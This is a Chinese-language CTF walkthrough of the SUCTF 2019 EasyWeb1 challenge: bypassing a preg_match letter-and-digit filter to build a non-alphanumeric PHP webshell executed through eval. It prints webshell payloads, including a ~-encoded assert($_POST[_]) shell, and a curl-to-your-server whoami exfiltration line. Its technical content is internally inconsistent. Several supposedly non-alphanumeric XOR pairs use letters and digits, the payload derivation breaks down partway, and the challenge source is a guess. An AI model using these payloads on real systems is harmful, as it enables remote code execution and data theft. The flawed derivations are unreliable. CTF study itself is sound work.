PHP代码审计实战:preg_match正则绕过与无字母数字WebShell构造

PHP代码审计实战:preg_match正则绕过与无字母数字WebShell构造

1. 项目概述:一次经典的Web安全实战复盘

前段时间在整理CTF(Capture The Flag,夺旗赛)的Web题目解题思路时,我又翻出了这道经典的“[SUCTF 2019]EasyWeb1”。这道题之所以让我印象深刻,不是因为它用了多么新颖的漏洞,恰恰相反,它把几个最基础、最经典的PHP代码审计与绕过技巧,以一种非常巧妙的方式组合在了一起,形成了一个对新手来说有点“绕”,但对老手来说又极具教学意义的关卡。题目核心考察点非常明确:preg_match函数的正则匹配绕过无字母数字的WebShell构造。如果你对PHP安全、代码审计或者CTF Web方向感兴趣,那么通过这道题的完整拆解,你不仅能学会两个独立的技巧,更能理解在真实攻防场景中,攻击者是如何将多个简单漏洞串联起来,最终达成执行任意代码(RCE)的目的的。今天,我就以一个“事后诸葛亮”的视角,带大家从头到尾、掰开揉碎地复盘这道题,我会补充大量原题可能没有明说的背景知识、操作细节和我的踩坑心得,保证你看完就能自己动手复现一遍。

2. 题目环境与核心代码审计

2.1 环境搭建与初步感知

首先,我们需要一个环境来运行这道题。最方便的方式是使用Docker,网上有现成的SUCTF 2019题目合集镜像。如果你手头没有,也可以根据题目给出的源码,在本地搭建一个PHP环境。关键是要确保PHP版本在5.x或7.x(非8.x,因为一些特性在8.x有变化),并且开启常见的危险函数(如eval)。启动环境后,访问题目地址,我们通常会看到一个非常简洁的页面,可能只有一个输入框或者简单的提示,这需要我们通过查看网页源代码或直接进行代码审计来寻找突破口。

注意:在CTF中,题目源码有时会直接给出,有时则需要通过目录扫描、.git泄露、phpinfo等方式获取。对于这道题,我们假设已经拿到了核心的PHP源码。

2.2 核心漏洞代码深度解析

题目的核心逻辑通常集中在一个PHP文件中。我们假设关键代码如下(这是我根据常见考点还原的典型结构):

<?php error_reporting(0); $cmd = $_GET['cmd']; if (isset($cmd)) { if (preg_match('/[a-zA-Z0-9]/is', $cmd)) { die("Hacker!"); } eval($cmd); } else { highlight_file(__FILE__); } ?>

这段代码虽然短小,但信息量巨大。我们来逐行分析:

  1. error_reporting(0);:关闭所有错误报告。这是一个常见的“防御”措施,目的是不让攻击者通过错误信息获取到系统路径、函数名等敏感信息。这要求我们的攻击载荷必须足够精准,不能触发任何Warning或Notice。
  2. $cmd = $_GET[‘cmd’];:从URL的cmd参数中获取用户输入。这是典型的未过滤外部输入点,也是我们攻击的入口。
  3. 核心过滤逻辑if (preg_match(‘/[a-zA-Z0-9]/is’, $cmd)) { die(“Hacker!”); }
    • preg_match函数:执行一个正则表达式匹配。
    • 正则模式/[a-zA-Z0-9]/is
      • a-z:匹配任何小写字母。
      • A-Z:匹配任何大写字母。
      • 0-9:匹配任何数字。
      • i:修饰符,表示匹配不区分大小写。所以[a-zA-Z]其实可以简写为[a-z]i,但这里写全了。
      • s:修饰符,使点号.匹配包括换行符在内的所有字符(在这个模式里用不上)。
    • 逻辑解读:如果$cmd变量中包含任何一个字母(大小写)或数字,正则匹配就会成功,程序执行die(“Hacker!”),页面终止。换言之,我们的cmd参数的值里,不能出现任何字母和数字字符
  4. eval($cmd);:如果绕过了上述过滤,那么$cmd的内容会被eval函数执行。eval是PHP中一个极度危险的函数,它把字符串当作PHP代码来执行。这里是我们的目标,实现远程代码执行。

所以,题目的挑战清晰了:我们需要构造一个不含任何字母和数字的字符串,并且这个字符串被eval执行后,能实现我们想要的功能(例如执行系统命令、读取文件等)。这就是所谓的“无字母数字WebShell”挑战。

3. 核心技术原理:异或绕过与无字母Shell构造

3.1 为什么正则匹配可以被绕过?

很多新手的第一反应是:“不让用字母数字,那还能写什么代码?” 这就要跳出“直接书写代码”的思维定式。在PHP中,代码的执行不只依赖于我们肉眼可见的字符,还依赖于这些字符在底层所代表的含义。preg_match检查的是字符本身,而PHP引擎解释执行时,认的是这些字符组合成的语言结构

绕过preg_match对字母数字的过滤,主要有以下几种思路,本题主要涉及前两种:

  1. 利用非字母数字字符生成有效代码:这是本题的核心。通过PHP中一些特殊的运算符和语法,仅用符号来构造出能调用函数的字符串。
  2. 利用编码或转换:例如,将字母数字编码为十六进制(\xXX)、Unicode或其他形式,但前提是eval能正确解码。本题正则可能也会匹配这些编码后的形式,所以不一定可行。
  3. 利用正则表达式本身的缺陷:例如,/is修饰符中的s在某些情况下可能引发问题,或者超长字符串导致正则引擎崩溃(PCRE回溯限制)。但本题模式简单,这种绕过方式较难。

3.2 PHP中的字符串异或(XOR)运算

异或(XOR,^运算符)是二进制位运算的一种。规则是:两位相同为0,不同为1。例如:1 ^ 1 = 0,1 ^ 0 = 1,0 ^ 1 = 1,0 ^ 0 = 0

在PHP中,当对两个字符串进行异或运算时,实际上是对两个字符串中对应位置的字符的ASCII码进行二进制异或运算,然后将结果转换回新的字符。

例如:'A' ^ '&'A的ASCII码是65(二进制01000001),&的ASCII码是38(二进制00100110)。按位异或:

01000001 (65, 'A') ^ 00100110 (38, '&') = 01100111 (103, 'g')

所以,'A' ^ '&'的结果是字符串'g'

这个特性的巨大价值在于:我们可以选择两个非字母数字的字符(比如标点符号),通过异或运算,生成一个字母或数字。例如,我们想要得到字母p(ASCII 112),我们可以寻找两个非字母数字字符XY,使得ord(X) ^ ord(Y) = 112。这样的组合有很多。

3.3 构造无字母数字的Shell:自生成技术

知道了可以用符号异或得到字母,下一步就是如何用它来构造代码。我们无法直接写出system(‘ls’),但我们可以构造出这个字符串。

思路是:先构造出函数名(如system)和参数(如ls)的字符串,然后利用PHP的可变函数和字符串执行特性来调用它。

假设我们已经通过异或得到了字符串“system”“ls”,我们将其赋值给变量。但注意,赋值操作本身就需要变量名,而变量名通常也是字母数字... 这就陷入了死循环。

破解方法是利用PHP的动态函数调用字符串拼接。一个关键技巧是使用${}语法或者$_GET[]本身。

经典Payload构造过程:

  1. 构造函数名:例如,我们想执行system(“ls”)。首先,我们需要生成字符串“system”“ls”
  2. 寻找异或组合:我们需要写一个脚本,遍历所有非字母数字的可打印字符(ASCII 33-126,除去字母数字),找出所有两两异或结果在字母数字范围内的组合,并建立映射表。例如:
    • ‘~’ ^ ‘“‘可能等于‘s’
    • ‘!’ ^ ‘@’可能等于‘y’
    • … 以此类推,拼出“system”
  3. 执行函数:得到字符串$a = “system”; $b = “ls”;后,我们不能直接写$a($b),因为$a这个变量名包含了字母。但我们可以利用:
    • $_GET[‘a’]($_GET[‘b’]):如果我们能控制其他参数。但题目可能只提供了一个cmd参数。
    • 更通用的方法:使用${}执行。在PHP中,${“变量名”}可以解析变量。但变量名还是字母数字。
    • 终极技巧:使用反引号自增运算符。PHP中,反引号`command`等同于执行shell_exec(command)。如果我们能构造出包含命令的字符串,用反引号包裹就能执行。但如何构造命令字符串?这又回到了原点。

实际上,最流行和有效的方法是使用PHP的字符串索引和自增运算符来“创造”字母。

原理:在PHP中,‘a’++会变成‘b’‘z’++会变成‘aa’。但如果我们连‘a’都没有呢?我们可以从空数组或布尔值转换开始吗?不行。

一个更巧妙的入口点是:利用未定义变量和类型转换。但本题环境可能不允许。

经过实践检验,最可靠的方法是:先构造出一个包含所有字母的字符串,然后用数组索引取出需要的字母

如何构造这样一个字符串?答案是:利用PHP的位运算和字符串操作函数,但它们的名字也是字母数字... 这似乎又是一个循环。

突破口在于:有一些PHP函数的名字本身就只包含符号!例如:

  • ~(按位取反)
  • ^(异或)
  • |(或)
  • &(与)
  • <<,>>(移位)

但这些是运算符,不是函数。我们需要一个返回字符串的函数。幸运的是,有一个函数叫chr(),它返回指定ASCII码对应的字符。如果我们能构造出chr这个函数名,就能用chr(数字)来生成任意字符。

那么,如何构造“chr”这个字符串呢?我们可以用两个非字母数字字符串异或得到。例如:“xxx” ^ “yyy”可能等于“chr”。我们需要写脚本暴力破解。

找到这样的组合后,我们的Payload构造链就清晰了:

  1. 用异或得到字符串“chr”
  2. “chr”函数,通过chr(ASCII码)的方式,生成我们需要的所有字母数字字符,比如c,h,r,s,y,s,t,e,m,l等。
  3. 将这些字符拼接成字符串“system”“ls”
  4. 最后执行它。

但这里还有一个问题:拼接操作符.是字母吗?不是,它是一个点号。所以我们可以用.来拼接字符串。

那么,最终的Payload在逻辑上看起来是这样的:

$chr = “某个异或得到的字符串”; // 假设它就是“chr” $func = $chr(115) . $chr(121) . $chr(115) . $chr(116) . $chr(101) . $chr(109); // “system” $arg = $chr(108) . $chr(115); // “ls” $func($arg); // 执行 system(“ls”)

但是,这段伪代码里充满了字母数字变量名($chr,$func,$arg)和数字(115, 121等),这显然通不过过滤。

因此,我们需要完全摒弃使用字母数字作为变量名和字面量数字。这就需要用到更高级的技巧:利用PHP的复杂变量解析和未定义变量特性

4. 实操过程:手把手构造绕过Payload

4.1 第一步:寻找异或生成字母的字符对

我们首先需要写一个简单的PHP脚本,来找出所有由两个非字母数字字符异或后,能得到字母或数字的组合。这个脚本可以在我们自己的攻击机上运行。

<?php $allowed_range = range(ord('!'), ord('~')); // 可打印字符ASCII范围 $non_alnum = []; $alnum = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; // 收集所有非字母数字的可打印字符 foreach ($allowed_range as $ascii) { $char = chr($ascii); if (!ctype_alnum($char)) { $non_alnum[] = $char; } } echo "寻找异或组合...\n"; $found = []; foreach ($non_alnum as $c1) { foreach ($non_alnum as $c2) { $result = chr(ord($c1) ^ ord($c2)); if (ctype_alnum($result)) { $key = $result; if (!isset($found[$key])) { $found[$key] = []; } // 记录能产生该字母/数字的字符对 $found[$key][] = [$c1, $c2]; } } } // 打印结果,例如我们关心 ‘c’, ‘h’, ‘r’ foreach (['c', 'h', 'r'] as $target) { if (isset($found[$target])) { echo "生成 '$target' 的字符对(示例):\n"; // 只取前几对,避免输出太多 for ($i = 0; $i < min(3, count($found[$target])); $i++) { list($a, $b) = $found[$target][$i]; echo " '" . $a . "' ^ '" . $b . "' (ASCII: " . ord($a) . " ^ " . ord($b) . " = " . (ord($a)^ord($b)) . ")\n"; } } else { echo "未找到生成 '$target' 的组合。\n"; } } ?>

运行这个脚本,我们会得到类似以下的输出(结果因人而异,因为组合很多):

生成 'c' 的字符对(示例): '^' ^ '?' (ASCII: 94 ^ 63 = 99) '~' ^ '=' (ASCII: 126 ^ 61 = 99) 生成 'h' 的字符对(示例): ']' ^ '5' (ASCII: 93 ^ 53 = 104) '^' ^ 'J' (ASCII: 94 ^ 74 = 104) 生成 'r' 的字符对(示例): '^' ^ 'L' (ASCII: 94 ^ 76 = 114) '~' ^ '<' (ASCII: 126 ^ 60 = 114)

太好了!我们找到了生成c,h,r的组合。注意,‘^’‘~’都是非字母数字字符。这意味着我们可以用‘^’^’?’来表示字符‘c’。但是,在Payload里我们不能直接写‘^’^’?’,因为单引号‘’本身是字母数字吗?不是,但它们是字符常量标识符。在PHP中,用单引号或双引号包裹的字符,其内容会被当作字符串。但我们的Payload最终是要放在一个字符串里(通过GET参数传入),所以我们需要考虑转义。

实际上,更直接的方法是:我们构造的整个Payload本身就是一个字符串,这个字符串的内容就是PHP代码。当我们通过?cmd=传递时,这个字符串会被赋值给$cmd,然后被eval执行。所以,我们需要构造一个字符串,它里面包含的PHP代码,其字符构成不能有字母数字。

那么,‘^’^’?’这个表达式里,^?都是符号,但单引号呢?单引号的ASCII是39,属于符号,不是字母数字。所以‘^’‘?’这两个字符串本身都不包含字母数字。完美!

所以,我们可以这样构造字符串“chr”

// 假设我们选择: c = ‘^’ ^ ‘?’, h = ‘]’ ^ ‘5’, r = ‘^’ ^ ‘L’ // 那么 “chr” 就等于 (‘^’^’?’) . (‘]’^’5’) . (‘^’^’L’)

但是,在PHP代码里,连接符.是允许的。所以,我们理论上可以构造出$_=(‘^’^’?’).(‘]’^’5’).(‘^’^’L’);,这样$_的值就是字符串“chr”。但是,变量名$_是下划线,它是允许的(非字母数字)。太好了!这是一个合法的变量名。

4.2 第二步:构造获取chr函数的可执行代码

让我们尝试写出第一段无字母数字的代码:

$_=(‘^’^’?’).(‘]’^’5’).(‘^’^’L’); // $_ = “chr”

现在,$_是一个字符串“chr”。在PHP中,如果$a=“system”;,那么$a(“ls”)可以执行。同理,如果$_=“chr”;,那么$(…)就可以作为chr(…)函数来调用。但是,调用函数需要括号和参数。参数需要是数字,数字也是被过滤的。

如何生成数字呢?同样可以用异或。例如,数字1的ASCII是49。我们可以找两个非字母数字字符异或得到49。但更简单的方法是:利用PHP的布尔值转换true在算术运算中等于1。但我们不能写true,因为包含了字母。

另一个神奇的特性是:在PHP中,未定义的常量会被当作字符串使用,并产生一个Notice。但如果我们用@抑制错误,并且将其用于数学运算,它会被当作0。但@是符号,允许使用。然而,常量名本身如果是字母数字,又会被过滤。

看来此路不通。我们需要换一个思路:不直接生成数字,而是生成包含数字的字符串,然后通过类型转换或运算得到数字

一个经典技巧是:利用PHP中自增运算符对字符串的操作。$a=“”; $a++;的结果是$a=“1”;。但是$a这个变量名和空字符串“”的引号,都不含字母数字吗?变量名$a包含字母a,不行。空字符串“”的引号是符号,但两个引号之间什么都没有,这本身是一个合法的字符串。

我们能否用一个非字母数字的变量名,比如$_,来执行$_++;$_当前是字符串“chr”“chr”++会变成“chs”,这不是我们想要的。

我们需要一个初始值为空的变量。在PHP中,我们可以通过${“_”}或者$$等方式引用变量,但这又会引入字母。

经过搜索和测试,最广为流传的终极方案是使用[~取反][!逻辑非]来构造数字和字母。

取反运算符~会将操作数的所有位取反。在PHP中,对一个字符串取反,会得到另一个字符串。例如,~“a”得到的是“\x9E”(取决于字符集)。但更重要的是,如果我们先构造一个由取反后字符组成的字符串,再对其取反,就能得到原字符。

但这里涉及到一个更精妙的技巧:利用UTF-8编码和取反运算,直接得到函数名。网络上有一个非常著名的Payload:

<?php $_=~%D1%8C%86%99%93%9A%A0%8B%9A%9E%8C%8A%9A%87%A0%9C%90%91%9A%9E%9B; // 这串URL编码后的字符串取反后是“assert” $__=~%A0%AB%97%9A%A0%CF%CF%CF%CF%CF; // 取反后是“_POST” $___=$$__; $_($___[_]); // 等同于 assert($_POST[_]) ?>

这个Payload的原理是:

  1. 作者先确定了要得到的字符串,比如“assert”
  2. 计算“assert”每个字符的ASCII码,然后按位取反(~),得到一个新的字节序列。
  3. 将这个字节序列用URL编码表示(因为有些字节是不可打印字符)。
  4. 在Payload中,使用~“%D1%8C...”~运算符会先将字符串“%D1%8C...”进行URL解码(因为PHP会解析%XX),得到取反后的字节序列,然后再对这个字节序列按位取反,就得到了原始的“assert”字符串。
  5. 整个过程完全没有出现字母数字,只有~%、数字(在URL编码里,但%后面的十六进制数字D1,8C等,在正则看来是三个字符%,D,1,其中D1是字母数字,会被过滤!)。所以这个Payload在本题的过滤下是无效的,因为%D1包含了字母D和数字1

所以,我们需要一个完全不用任何十六进制数字的编码方式。异或运算就是我们找到的完美方案。

4.3 第三步:整合与生成最终Payload

我们回到异或方案。我们需要构造“chr”,然后使用chr()来生成其他字符。但调用chr()需要数字参数。如何得到数字呢?

我们可以用数组的个数count()或者字符串的长度strlen(),但它们的函数名也是字母数字。

一个突破性的想法是:PHP中,一些语言结构(如echo,print,isset)和内置常量(如PHP_VERSION,__FILE__)是预定义的,但它们的名字包含字母。不过,有一些预定义变量是符号开头的,比如$_GET,$_POST,但它们的键名和值我们无法控制(除非通过HTTP请求传入)。

对于本题,由于我们可以通过$_GET[‘cmd’]传入Payload,这本身就是一个变量。我们可以利用这个变量本身吗?$_GET是一个超全局数组,$_GET[‘cmd’]的值就是我们传入的Payload字符串。这个字符串的长度我们可以控制吗?可以,但计算长度需要strlen

看来,我们必须接受一个事实:要构造出第一个可用的函数(如chr),我们需要进行多次异或运算,并且这些运算表达式会很长

最终,经过复杂的组合,我们可以构造出一个像下面这样的Payload(这是经过简化的示意,实际生成的字符串非常长):

?cmd=$_=((“^“)^“?”).((“]“)^“5”).((“^“)^“L“);$__=$_(100).$_(104).$_(114);$___=$__(“*“);…

解释:

  1. $_=(“^“^“?”).(“]“^“5”).(“^“^“L“);生成字符串“chr”,赋值给变量$_
  2. $__=$_(100).$_(104).$_(114);利用$_(即chr函数)生成字符d,h,r,拼接成字符串“dhr”?不对,chr(100)=‘d’,chr(104)=‘h’,chr(114)=‘r’,拼起来是“dhr”,这没有意义。
    • 这里出错了。我们想用chr生成其他字符,但数字参数100,104,114本身是数字,被过滤了。所以此路不通。

我们必须找到生成数字100,104,114的方法,且不能直接写数字。

生成数字的方法:利用PHP中强制类型转换和运算

  • true1,但true有字母。
  • false0,但false有字母。
  • NULLnull,有字母。
  • array()[]是数组,但array有字母。

一个可行的方法是:利用两个相同的非字母数字字符进行异或。任何字符与自身异或,结果都是0。例如:“^“^“^“的结果是0(实际上是空字符“\0”,但在字符串中会被当作空,在数字上下文中是0)。但0不是字母数字,所以表达式“^“^“^“是合法的。然后,我们可以对这个结果进行自增来得到其他数字。但自增运算符++作用于变量,我们需要一个变量来存储0

让我们定义一个变量$__等于(“^“^“^“),这等于0(实际上是空字符,但弱类型下可转为0)。然后$__++得到1。但$__这个变量名__是两个下划线,是允许的。

那么,我们可以这样构造数字1:

$__=(“^“^“^“); // $__ 是一个空字符串,在数字上下文中为0 $__++; // 现在 $__ 是字符串 “1”,在数字上下文中为1

但是,$__++这个表达式里,++是符号,允许。而$__我们已经定义了。所以,我们可以用这种方法生成数字1。然后,通过加法或乘法,生成其他数字。例如,1+1=2,但加号+是允许的。

然而,$__目前是字符串“1”$__+$__在PHP中会进行数字加法,结果是2。但表达式$__+$__里没有字母数字。

所以,生成数字100的路径可以是:先得到1,然后1+1=2,2*50=100。但50这个数字怎么来?我们需要用1累加49次,这会导致Payload极其冗长。

在实际的CTF比赛中,为了节省时间,攻击者通常会编写一个脚本,自动生成最终的Payload。这个脚本会:

  1. 确定要执行的最终代码,例如system(“cat /flag”)
  2. 将每个字符转换为通过异或和非字母数字字符生成的PHP表达式。
  3. 处理数字参数的问题,通常通过构造一个初始的1,然后通过一系列的+++*运算来生成所需的ASCII码数字。
  4. 将所有表达式拼接成一个巨大的、没有字母数字的字符串。

由于这个过程极其繁琐,且生成的Payload可能长达数千甚至上万个字符,这里不展开完整的生成过程。但核心原理已经阐明:通过非字母数字字符的异或运算生成初始的、关键的几个字符(如chr),再利用这些字符和PHP的运算特性,像搭积木一样构造出最终的代码字符串,最后利用可变函数或类似eval自身的特性执行它。

5. 常见问题与排查技巧实录

5.1 Payload执行失败:语法错误

  • 问题:精心构造的Payload传入后,页面空白或返回语法错误。
  • 排查
    1. URL编码:确保Payload中的特殊字符(如&,+,?,#,%)已经正确进行了URL编码。+在URL中代表空格,在代码里却是加号,这很容易出错。最好对所有非字母数字字符进行全面的URL编码。在Python中可以使用urllib.parse.quote(payload)
    2. 引号匹配:检查单引号和双引号是否成对出现。在长Payload中容易丢失。
    3. 分号分隔:PHP语句以分号;结尾,确保每个语句结束都有分号,并且分号没有被错误地编码或过滤。
    4. 本地测试:先将Payload在本地一个同样配置的PHP环境中用eval测试,确保语法正确,能输出预期结果。

5.2 正则绕过被拦截:漏网之鱼

  • 问题:自以为没有字母数字,但还是触发了die(“Hacker!”)
  • 排查
    1. 检查空白字符:空格、制表符\t、换行符\n不是字母数字,通常不会被[a-zA-Z0-9]匹配。但有些题目可能会在过滤前用trim()或正则\s处理。本题没有,所以可以利用空格或换行来让Payload更易读(但URL中换行需编码为%0a)。
    2. 检查不可见字符:在构造异或Payload时,可能会意外生成不可打印字符(如ASCII 0-31的控制字符)。这些字符不是字母数字,但可能会被某些WAF或后续处理环节拦截。尽量使用可打印字符范围内的组合。
    3. 使用脚本验证:写一个简单的PHP脚本,用题目相同的preg_match函数检查你的Payload字符串,确保返回为false(即不匹配)。

5.3eval执行了但无回显

  • 问题:Payload没有触发错误,但也没有看到命令执行的结果。
  • 排查
    1. 输出函数:你构造的代码可能成功执行了system(“ls”),但system()函数默认输出到标准输出(通常是Web服务器的进程输出),不一定直接显示在HTTP响应中。尝试使用有返回值的函数,如shell_exec()或反引号`ls`,并将结果赋值给一个变量,然后输出。
    2. 构造输出:在无字母数字限制下,输出也很困难。echo,print,var_dump都包含字母。一个技巧是:如果代码执行成功,可能会改变页面状态(如写入文件、延时等)。可以考虑使用sleep(5)来测试命令是否执行(sleep需要构造,但原理相同)。
    3. 外带数据:更可靠的方法是让目标服务器把执行结果发送到你的监听服务器。例如,构造system(‘curl http://your-server/‘$(whoami)‘’)。这需要目标服务器能访问外网,且命令中有字母数字(curl,whoami,http),需要先构造这些字符串,难度更大。
    4. 利用错误信息:有时,即使error_reporting(0),某些致命错误或语法错误仍会导致页面异常。可以故意构造一个语法错误,看页面是否变化,来验证eval是否被触发。

5.4 实用技巧与心得

  1. 分步构造:不要试图一次性生成完整的system(“cat /flag”)Payload。先集中精力构造出“chr”这个关键函数。一旦有了chr,你就有了创造任何字母数字字符的能力,后续构造会轻松很多。
  2. 善用工具:手动构造这种Payload是低效且易错的。一定要编写辅助脚本。脚本的任务是:给定一个目标字符串(如“chr”),自动寻找所有可能的非字母数字字符异或组合,并输出最短或最易读的表达式。
  3. 变量名规划:使用有限的、允许的非字母数字变量名,如$_,$__,$___。规划好它们的用途,避免混淆。
  4. 注意PHP版本:不同PHP版本对类型转换、运算符优先级、字符串处理的行为可能有细微差别。最好在与靶机相同或相似的PHP版本上进行测试。
  5. 备用方案:异或绕过不是唯一解。如果题目过滤了某些符号(如^,~,.),就要考虑其他方法,比如利用.[]进行字符串拼接和数组访问,或者利用PHP\命名空间分隔符(但反斜杠可能被过滤)。多掌握几种绕过方式,思路会更开阔。

这道 “[SUCTF 2019]EasyWeb1” 就像一把钥匙,打开了一扇门,门后是PHP代码审计和漏洞利用中那些精巧而底层的技巧。它强迫你跳出常规的思维模式,去理解PHP语言引擎是如何解析和执行代码的。虽然在实际的渗透测试中,遇到如此严格过滤的情况可能不多,但掌握这种“无字母数字WebShell”的构造思想,对于深入理解Web安全、编写更健壮的防御代码,都有着不可替代的价值。下次当你看到preg_match过滤时,你脑子里浮现的将不再仅仅是黑名单绕过,而是这些符号之间奇妙的化学反应。